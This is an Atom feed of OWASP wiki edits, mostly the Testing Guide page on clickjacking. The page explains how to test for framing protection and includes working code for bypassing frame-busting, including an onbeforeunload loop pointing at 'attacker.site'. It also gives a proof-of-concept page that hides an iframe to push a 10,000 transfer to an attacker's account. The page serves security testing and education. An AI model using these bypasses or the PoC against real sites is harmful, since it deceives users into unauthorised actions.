<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Roy+Vanegas</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Roy+Vanegas"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Roy_Vanegas"/>
		<updated>2026-04-11T22:55:58Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Roy_Vanegas&amp;diff=217096</id>
		<title>User:Roy Vanegas</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Roy_Vanegas&amp;diff=217096"/>
				<updated>2016-05-19T03:14:59Z</updated>
		
		<summary type="html">&lt;p&gt;Roy Vanegas: Update when I started teaching.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;I began programming in 1996, first for the web, then in languages such as Java and C. I have a bachelor’s degree in computer science and a master’s degree in hardware/software interaction design.&lt;br /&gt;
&lt;br /&gt;
I’ve been teaching web programming and design to high school students, continuing education students, and undergraduate and graduate students since 2005.&lt;/div&gt;</summary>
		<author><name>Roy Vanegas</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Clickjacking_(OTG-CLIENT-009)&amp;diff=217095</id>
		<title>Testing for Clickjacking (OTG-CLIENT-009)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Clickjacking_(OTG-CLIENT-009)&amp;diff=217095"/>
				<updated>2016-05-19T03:14:14Z</updated>
		
		<summary type="html">&lt;p&gt;Roy Vanegas: Some editing of the content to make it easier to read, and replacing inch- and foot-marks with proper quotes.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
“Clickjacking” (which is a subset of “UI redressing”) is a malicious technique that consists of deceiving a web user into interacting (in most cases by clicking) with something different to what the user believes they are interacting with. This type of attack, that can be used alone or in combination with other attacks, could potentially send unauthorized commands or reveal confidential information while the victim is interacting with seemingly harmless web pages. The term “Clickjacking” was coined by Jeremiah Grossman and Robert Hansen in 2008.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
A Clickjacking attack uses seemingly innocuous features of HTML and Javascript to force the victim to perform undesired actions, such as clicking a button that appears to perform another operation. This is a “client side” security issue that affects a variety of browsers and platforms.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
To carry out this type of technique the attacker has to create a seemingly harmless web page that loads the target application through the use of an iframe (suitably concealed with CSS code). Once this is done, the attacker could induce the victim to interact with his fictitious web page by other means (through, for example, social engineering). Like other attacks, a common prerequisite is that the victim is authenticated against the attacker’s target website.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Image:clickjacking_description.png|400px|thumb|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Once the victim is surfing on the fictitious web page, he thinks that he is interacting with the visible user interface, but effectively he is performing actions on the hidden page. Since the hidden page is an authentic page, the attacker can deceive users into performing actions they never intended to perform through an “ad hoc” positioning of the elements in the web page.  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Image:Masked_iframe.png|400px|thumb|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The power of this method is due to the fact that the actions performed by the victim are originated from the authentic target web page (hidden but authentic). Consequently some of the anti-CSRF protections, that are deployed by the developers to protect the web page from CSRF attacks, could be bypassed.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===How to Test===&lt;br /&gt;
As mentioned above, this type of attack is often designed to allow an attacker site to induce users’ actions on the target site, even if anti-CSRF tokens are being used. So, it’s important, like for the CSRF attack, to individuate web pages of the target site that it take input from the user.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We have to discover if the website that we are testing has no protections against clickjacking attacks or, if the developers have implemented some forms of protection, if these techniques are liable to bypass. Once we know that the website is vulnerable, we can create a “proof of concept” to exploit the vulnerability. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The first step in discovering if a website is vulnerable is to check if the target web page could be loaded into an iframe.&lt;br /&gt;
To do this you need to create a simple web page that includes a frame containing the target web page. The HTML code to create this testing web page is displayed in the following snippet:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
   &amp;lt;head&amp;gt;&lt;br /&gt;
     &amp;lt;title&amp;gt;Clickjack test page&amp;lt;/title&amp;gt;&lt;br /&gt;
   &amp;lt;/head&amp;gt;&lt;br /&gt;
   &amp;lt;body&amp;gt;&lt;br /&gt;
     &amp;lt;p&amp;gt;Website is vulnerable to clickjacking!&amp;lt;/p&amp;gt;&lt;br /&gt;
     &amp;lt;iframe src=&amp;quot;http://www.target.site&amp;quot; width=&amp;quot;500&amp;quot; height=&amp;quot;500&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
   &amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&lt;br /&gt;
If you can see both the text &amp;quot;Website is vulnerable to clickjacking!&amp;quot; at the top of the page and your target web page successfully loaded into the frame, then your site is vulnerable and has no type of protection against Clickjacking attacks. Now you can directly create a &amp;quot;proof of concept&amp;quot; to demonstrate that an attacker could exploit this vulnerability.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Bypass Clickjacking protection:===&lt;br /&gt;
In case in which you only see the target site or the text &amp;quot;Website is vulnerable to clickjacking!&amp;quot; but nothing in the iframe this mean that the target probably has some form of protection against clickjacking. It’s important to note that this isn’t a guarantee that the page is totally immune to clickjacking.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Methods to protect a web page from clickjacking can be divided in two macro-categories:&lt;br /&gt;
* Client side protection: Frame Busting&lt;br /&gt;
* Server side protection: X-Frame-Options&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In some circumstances, every single type of defense could be bypassed. Following are presented the main methods of protection from these attacks and techniques to bypass them.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Client side protection: Frame Busting====&lt;br /&gt;
The most common client side method, that has been developed to protect a web page from clickjacking, is called Frame Busting and it consists of a script in each page that should not be framed. The aim of this technique is to prevent a site from functioning when it is loaded inside a frame. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The structure of frame busting code typically consists of a &amp;quot;conditional statement&amp;quot; and a &amp;quot;counter-action&amp;quot; statement.&lt;br /&gt;
For this type of protection, there are some work arounds that fall under the name of &amp;quot;Bust frame busting&amp;quot;. Some of this techniques are browser-specific while others work across browsers. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mobile website version'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Mobile versions of the website are usually smaller and faster than the desktop ones, and they have to be less complex than the main application. Mobile variants have often less protection since there is the wrong assumption that an attacker could not attack an application by the smart phone. This is fundamentally wrong, because an attacker can fake the real origin given by a web browser, such that a non-mobile victim may be able to visit an application made for mobile users.&lt;br /&gt;
From this assumption follows that in some cases it is not necessary to use techniques to evade frame busting when there are unprotected alternatives, which allow the use of same attack vectors.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Double Framing'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Some frame busting techniques try to break frame by assigning a value to the &amp;quot;parent.location&amp;quot; attribute in the &amp;quot;counter-action&amp;quot; statement. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Such actions are, for example:&lt;br /&gt;
* self.parent.location = document.location&lt;br /&gt;
* parent.location.href = self.location&lt;br /&gt;
* parent.location = self.location&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This method works well until the target page is framed by a single page. However, if the attacker encloses the target web page in one frame which is nested in another one (a double frame), then trying to access to &amp;quot;parent.location&amp;quot; becomes a security violation in all popular browsers, due to the descendant frame navigation policy. This security violation disables the counter-action navigation.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Target site frame busting code (target site):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
if(top.location!=self.locaton) {&lt;br /&gt;
   parent.location = self.location;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Attacker’s  top frame (fictitious2.html):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;fictitious.html&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Attacker’s fictitious sub-frame (fictitious.html):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Disabling javascript'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Since these type of client side protections relies on JavaScript frame busting code, if the victim has JavaScript disabled or it is possible for an attacker to disable JavaScript code, the web page will not have any protection mechanism against clickjacking. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are three deactivation techniques that can be used with frames:&lt;br /&gt;
* Restricted frames with Internet Explorer: Starting from Internet Explorer 6, a frame can have the &amp;quot;security&amp;quot; attribute that, if it is set to the value &amp;quot;restricted&amp;quot;, ensures that JavaScript code, ActiveX controls, and re-directs to other sites do not work in the frame.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot; security=&amp;quot;restricted&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Sandbox attribute: with HTML5 there is a new attribute called &amp;quot;sandbox&amp;quot;. It enables a set of restrictions on content loaded into the iframe. At this moment this attribute is only compatible with Chrome and Safari.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot; sandbox&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Design mode: Paul Stone showed a security issue concerning the &amp;quot;designMode&amp;quot; that can be turned on in the framing page (via document.designMode), disabling JavaScript in top and sub-frame. The design mode is currently implemented in Firefox and IE8.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''onBeforeUnload event'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The onBeforeUnload event could be used to evade frame busting code. This event is called when the frame busting code wants to destroy the iframe by loading the URL in the whole web page and not only in the iframe. The handler function returns a string that is prompted to the user asking confirm if he wants to leave the page. When this string is displayed to the user is likely to cancel the navigation, defeating traget's frame busting attempt. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The attacker can use this attack by registering an unload event on the top page using the following example code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;h1&amp;gt;www.fictitious.site&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
   window.onbeforeunload = function()&lt;br /&gt;
   {&lt;br /&gt;
      return &amp;quot; Do you want to leave fictitious.site?&amp;quot;;&lt;br /&gt;
   }&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The previous technique requires the user interaction but, the same result, can be achieved without prompting the user. To do this the attacker have to automatically cancel the incoming navigation request in an onBeforeUnload event handler by repeatedly submitting (for example every millisecond) a navigation request to a web page that responds with a &amp;quot;HTTP/1.1 204 No Content&amp;quot; header. &lt;br /&gt;
&lt;br /&gt;
Since with this response the browser will do nothing, the resulting of this operation is the flushing of the request pipeline, rendering the original frame busting attempt futile. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Following an example code: &lt;br /&gt;
&lt;br /&gt;
204 page:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
   header(&amp;quot;HTTP/1.1 204 No Content&amp;quot;);&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Attacker's page:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
	var prevent_bust = 0;&lt;br /&gt;
	window.onbeforeunload = function() {&lt;br /&gt;
		prevent_bust++;&lt;br /&gt;
	};&lt;br /&gt;
	setInterval(&lt;br /&gt;
		function() {&lt;br /&gt;
			if (prevent_bust &amp;gt; 0) {&lt;br /&gt;
				prevent_bust -= 2;&lt;br /&gt;
				window.top.location = &amp;quot;http://attacker.site/204.php&amp;quot;;&lt;br /&gt;
			}&lt;br /&gt;
		}, 1);&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''XSS Filter'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Starting from Google Chrome 4.0 and from IE8 there were introduced XSS filters to protect users from reflected XSS attacks. Nava and Lindsay have observed that these kind of filters can be used to deactivate frame busting code by faking it as malicious code.&lt;br /&gt;
* &amp;lt;b&amp;gt;IE8 XSS filter&amp;lt;/b&amp;gt;: this filter has visibility into all parameters of each request and response flowing through the web browser and it compares them to a set of regular expressions in order to look for reflected XSS attempts. When the filter identifies a possible XSS attacks; it disables all inline scripts within the page, including frame busting scripts (the same thing could be done with external scripts). For this reason an attacker could induce a false positive by inserting the beginning of the frame busting script into a request's parameters.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
Target web page frame busting code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
   if ( top != self ) &lt;br /&gt;
   {&lt;br /&gt;
      top.location=self.location;&lt;br /&gt;
   }&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Attacker code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=”http://target site/?param=&amp;lt;script&amp;gt;if”&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;b&amp;gt;Chrome 4.0 XSSAuditor filter&amp;lt;/b&amp;gt;: It has a little different behaviour compared to IE8 XSS filter, in fact with this filter an attacker could deactivate a &amp;quot;script&amp;quot; by passing its code in a request parameter. This enables the framing page to specifically target a single snippet containing the frame busting code, leaving all the other codes intact.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
Target web page frame busting code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
   if ( top != self ) &lt;br /&gt;
   {&lt;br /&gt;
      top.location=self.location;&lt;br /&gt;
   }&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Attacker code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=”http://target site/?param=if(top+!%3D+self)+%7B+top.location%3Dself.location%3B+%7D”&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Redefining location'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
For several browser the &amp;quot;document.location&amp;quot; variable is an immutable attribute. However, for some version of Internet Explorer and Safari, it is possible to redefine this attribute. This fact can be exploited to evade frame busting code.&lt;br /&gt;
* &amp;lt;b&amp;gt;Redefining location in IE7 and IE8&amp;lt;/b&amp;gt;: it is possible to redefine &amp;quot;location&amp;quot; as it is illustrated in the following example. By defining &amp;quot;location&amp;quot; as a variable, any code that tries to read or to navigate by assigning &amp;quot;top.location&amp;quot; will fail due to a security violation and so the frame busting code is suspended.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
   var location = &amp;quot;xyz&amp;quot;;&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;b&amp;gt;Redefining location in Safari 4.0.4&amp;lt;/b&amp;gt;: To bust frame busting code with &amp;quot;top.location&amp;quot; it is possible to bind &amp;quot;location&amp;quot; to a function via defineSetter (through window), so that an attempt to read or navigate to the &amp;quot;top.location&amp;quot; will fail.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
  window.defineSetter(&amp;quot;location&amp;quot; , function(){});&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Server side protection: X-Frame-Options====&lt;br /&gt;
An alternative approach to client side frame busting code was implemented by Microsoft and it consists of an header based defense. This new &amp;quot;X-FRAME-OPTIONS&amp;quot; header is sent from the server on HTTP responses and is used to mark web pages that shouldn't be framed. This header can take the values DENY, SAMEORIGIN, ALLOW-FROM origin, or non-standard ALLOWALL. Recommended value is DENY.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The &amp;quot;X-FRAME-OPTIONS&amp;quot; is a very good solution, and was adopted by major browser, but also for this technique there are some limitations that could lead in any case to exploit the clickjacking vulnerability.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Browser compatibility'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Since the &amp;quot;X-FRAME-OPTIONS&amp;quot; was introduced in 2009, this header is not compatible with old browser. So every user that doesn't have an updated browser could be victim of clickjacking attack.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Browser !! Lowest version&lt;br /&gt;
|-&lt;br /&gt;
| Internet Explorer || 8.0 &lt;br /&gt;
|-&lt;br /&gt;
| Firefox (Gecko) || 3.6.9 (1.9.2.9) &lt;br /&gt;
|-&lt;br /&gt;
| Opera || 10.50 &lt;br /&gt;
|-&lt;br /&gt;
| Safari || 4.0&lt;br /&gt;
|-&lt;br /&gt;
| Chrome || 4.1.249.1042  &lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Proxies'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Web proxies are known for adding and stripping headers. In the case in which a web proxy strips the &amp;quot;X-FRAME-OPTIONS&amp;quot; header then the site loses its framing protection.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mobile website version'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Also in this case, since the &amp;quot;X-FRAME-OPTIONS&amp;quot; has to be implemented in every page of the website, the developers may have not protected the mobile version of the website.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Create a &amp;quot;proof of concept&amp;quot; ===&lt;br /&gt;
Once we have discovered that the site we are testing is vulnerable to clickjacking attack, we can proceed with the development of a &amp;quot;proof of concept&amp;quot; to demonstrate the vulnerability. It is important to note that, as mentioned previously, these attacks can be used in conjunction with other forms of attacks (for example CSRF attacks) and could lead to overcome anti-CSRF tokens.&lt;br /&gt;
In this regard we can imagine that, for example, the target site allows to authenticated and authorized users to make a transfer of money to another account.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Suppose that to execute the transfer the developers have planned three steps. In the first step the user fill a form with the destination account and the amount. In the second step, whenever the user submits the form, is presented a summary page asking the user confirmation (like the one presented in the following picture). &lt;br /&gt;
&lt;br /&gt;
[[Image:Clickjacking example step2.png|400px|thumb|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Following a snippet of the code for the step 2:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//generate random anti CSRF token&lt;br /&gt;
$csrfToken = md5(uniqid(rand(), TRUE));&lt;br /&gt;
&lt;br /&gt;
//set the token as in the session data&lt;br /&gt;
$_SESSION['antiCsrf'] = $csrfToken;&lt;br /&gt;
&lt;br /&gt;
//Transfer form with the hidden field&lt;br /&gt;
$form = '&lt;br /&gt;
&amp;lt;form name=&amp;quot;transferForm&amp;quot; action=&amp;quot;confirm.php&amp;quot; method=&amp;quot;POST&amp;quot;&amp;gt;&lt;br /&gt;
	  &amp;lt;div class=&amp;quot;box&amp;quot;&amp;gt;&lt;br /&gt;
		&amp;lt;h1&amp;gt;BANK XYZ - Confirm Transfer&amp;lt;/h1&amp;gt;&lt;br /&gt;
		&amp;lt;p&amp;gt;&lt;br /&gt;
		Do You want to confirm a transfer of &amp;lt;b&amp;gt;'. $_REQUEST['amount'] .' &amp;amp;euro;&amp;lt;/b&amp;gt; to account: &amp;lt;b&amp;gt;'. $_REQUEST['account'] .'&amp;lt;/b&amp;gt; ?&lt;br /&gt;
		&amp;lt;/p&amp;gt;&lt;br /&gt;
		&amp;lt;label&amp;gt;&lt;br /&gt;
			&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;amount&amp;quot; value=&amp;quot;' . $_REQUEST['amount'] . '&amp;quot; /&amp;gt;&lt;br /&gt;
			&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;account&amp;quot; value=&amp;quot;' . $_REQUEST['account'] . '&amp;quot; /&amp;gt;				&lt;br /&gt;
			&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;antiCsrf&amp;quot; value=&amp;quot;' . $csrfToken . '&amp;quot; /&amp;gt;&lt;br /&gt;
			&amp;lt;input type=&amp;quot;submit&amp;quot; class=&amp;quot;button&amp;quot; value=&amp;quot;Transfer Money&amp;quot; /&amp;gt;&lt;br /&gt;
		&amp;lt;/label&amp;gt;&lt;br /&gt;
		&lt;br /&gt;
	 &amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/form&amp;gt;';&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In the last step are planned security controls and then, if all is ok, the transfer is done. In the following listing a snippet of code of the last step is presented (&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: in this example, for simplicity, there is no input sanitization, but it has no relevance to block this type of attack):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
if( (!empty($_SESSION['antiCsrf'])) &amp;amp;&amp;amp; (!empty($_POST['antiCsrf'])) )&lt;br /&gt;
{&lt;br /&gt;
	  &lt;br /&gt;
	//here we can suppose input sanitization code…    &lt;br /&gt;
&lt;br /&gt;
    //check the anti-CSRF token&lt;br /&gt;
    if( ($_SESSION['antiCsrf'] == $_POST['antiCsrf']) )&lt;br /&gt;
    {&lt;br /&gt;
		echo '&amp;lt;p&amp;gt; '. $_POST['amount'] .' &amp;amp;euro; successfully transfered to account: '. $_POST['account'] .' &amp;lt;/p&amp;gt;';&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
else&lt;br /&gt;
{&lt;br /&gt;
	echo '&amp;lt;p&amp;gt;Transfer KO&amp;lt;/p&amp;gt;';&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
As you can see the code is protected from CSRF attack both with a random token generated in the second step and accepting only variable passed via POST method. In this situation an attacker could forge a CSRF + Clickjacking attack to evade anti-CSRF protection and force a victim to do a money transfer without her consent.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The target page for the attack is the second step of the money transfer procedure. Since the developers put the security controls only in the last step, thinking that this is secure enough, the attacker could pass the account and amount parameters via GET method. (&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: there is an advanced clickjacking attack that permits to force users to fill a form, so also in the case in which is required to fill a form, the attack is feasible).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The attacker's page may look like a simple and harmless web page like the one presented below:&lt;br /&gt;
&lt;br /&gt;
[[Image:clickjacking_example_malicious_page_1.png|400px|thumb|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
But playing with the CSS opacity value we can see what is hidden under the seemingly innocuous web page.&lt;br /&gt;
&lt;br /&gt;
[[Image:clickjacking_example_malicious_page_2.png|400px|thumb|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The clickjacking code to create this page is presented below:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
	&amp;lt;head&amp;gt;&lt;br /&gt;
		&amp;lt;title&amp;gt;Trusted web page&amp;lt;/title&amp;gt;&lt;br /&gt;
		&lt;br /&gt;
		&amp;lt;style type=&amp;quot;text/css&amp;quot;&amp;gt;&amp;lt;!-- &lt;br /&gt;
			*{ &lt;br /&gt;
				margin:0; &lt;br /&gt;
				padding:0;&lt;br /&gt;
			}&lt;br /&gt;
			body {  &lt;br /&gt;
				background:#ffffff;&lt;br /&gt;
			}&lt;br /&gt;
			.button&lt;br /&gt;
			{&lt;br /&gt;
				padding:5px;&lt;br /&gt;
				background:#6699CC;&lt;br /&gt;
				left:275px;&lt;br /&gt;
				width:120px;&lt;br /&gt;
				border: 1px solid #336699;&lt;br /&gt;
			}&lt;br /&gt;
			#content {&lt;br /&gt;
				width: 500px;&lt;br /&gt;
				height: 500px;&lt;br /&gt;
				margin-top: 150px ;&lt;br /&gt;
				margin-left: 500px;&lt;br /&gt;
			}&lt;br /&gt;
			#clickjacking&lt;br /&gt;
			{ &lt;br /&gt;
 				position: absolute; &lt;br /&gt;
				left: 172px; &lt;br /&gt;
				top: 60px; &lt;br /&gt;
				filter: alpha(opacity=0); &lt;br /&gt;
				opacity:0.0&lt;br /&gt;
			} &lt;br /&gt;
		//--&amp;gt;&amp;lt;/style&amp;gt;&lt;br /&gt;
		&lt;br /&gt;
	&amp;lt;/head&amp;gt;&lt;br /&gt;
	&amp;lt;body&amp;gt;&lt;br /&gt;
		&amp;lt;div id=&amp;quot;content&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;h1&amp;gt;www.owasp.com&amp;lt;/h1&amp;gt;&lt;br /&gt;
			&amp;lt;form action=&amp;quot;http://www.owasp.com&amp;quot;&amp;gt;&lt;br /&gt;
				&amp;lt;input type=&amp;quot;submit&amp;quot; class=&amp;quot;button&amp;quot; value=&amp;quot;Click and go!&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;/form&amp;gt;&lt;br /&gt;
		&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                &amp;lt;iframe id=&amp;quot;clickjacking&amp;quot; src=&amp;quot;http://localhost/csrf/transfer.php?account=ATTACKER&amp;amp;amount=10000&amp;quot; width=&amp;quot;500&amp;quot; height=&amp;quot;500&amp;quot; scrolling=&amp;quot;no&amp;quot; frameborder=&amp;quot;none&amp;quot;&amp;gt;&lt;br /&gt;
                &amp;lt;/iframe&amp;gt;&lt;br /&gt;
	&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
With the help of CSS (note the #clickjacking block) we can mask and suitably position the iframe in such a way as to match the buttons. If the victim click on the button &amp;quot;Click and go!&amp;quot; the form is submitted and the transfer is completed.&lt;br /&gt;
&lt;br /&gt;
[[Image:clickjacking_example_malicious_page_3.png|400px|thumb|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The example presented uses only basic clickjacking technique, but with advanced technique is possible to force user filling form with values defined by the attacker.&lt;br /&gt;
&lt;br /&gt;
==Tools==&lt;br /&gt;
* Context Information Security: &amp;quot;Clickjacking Tool&amp;quot; - http://www.contextis.com/research/tools/clickjacking-tool/&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
* [[Clickjacking]]&lt;br /&gt;
&lt;br /&gt;
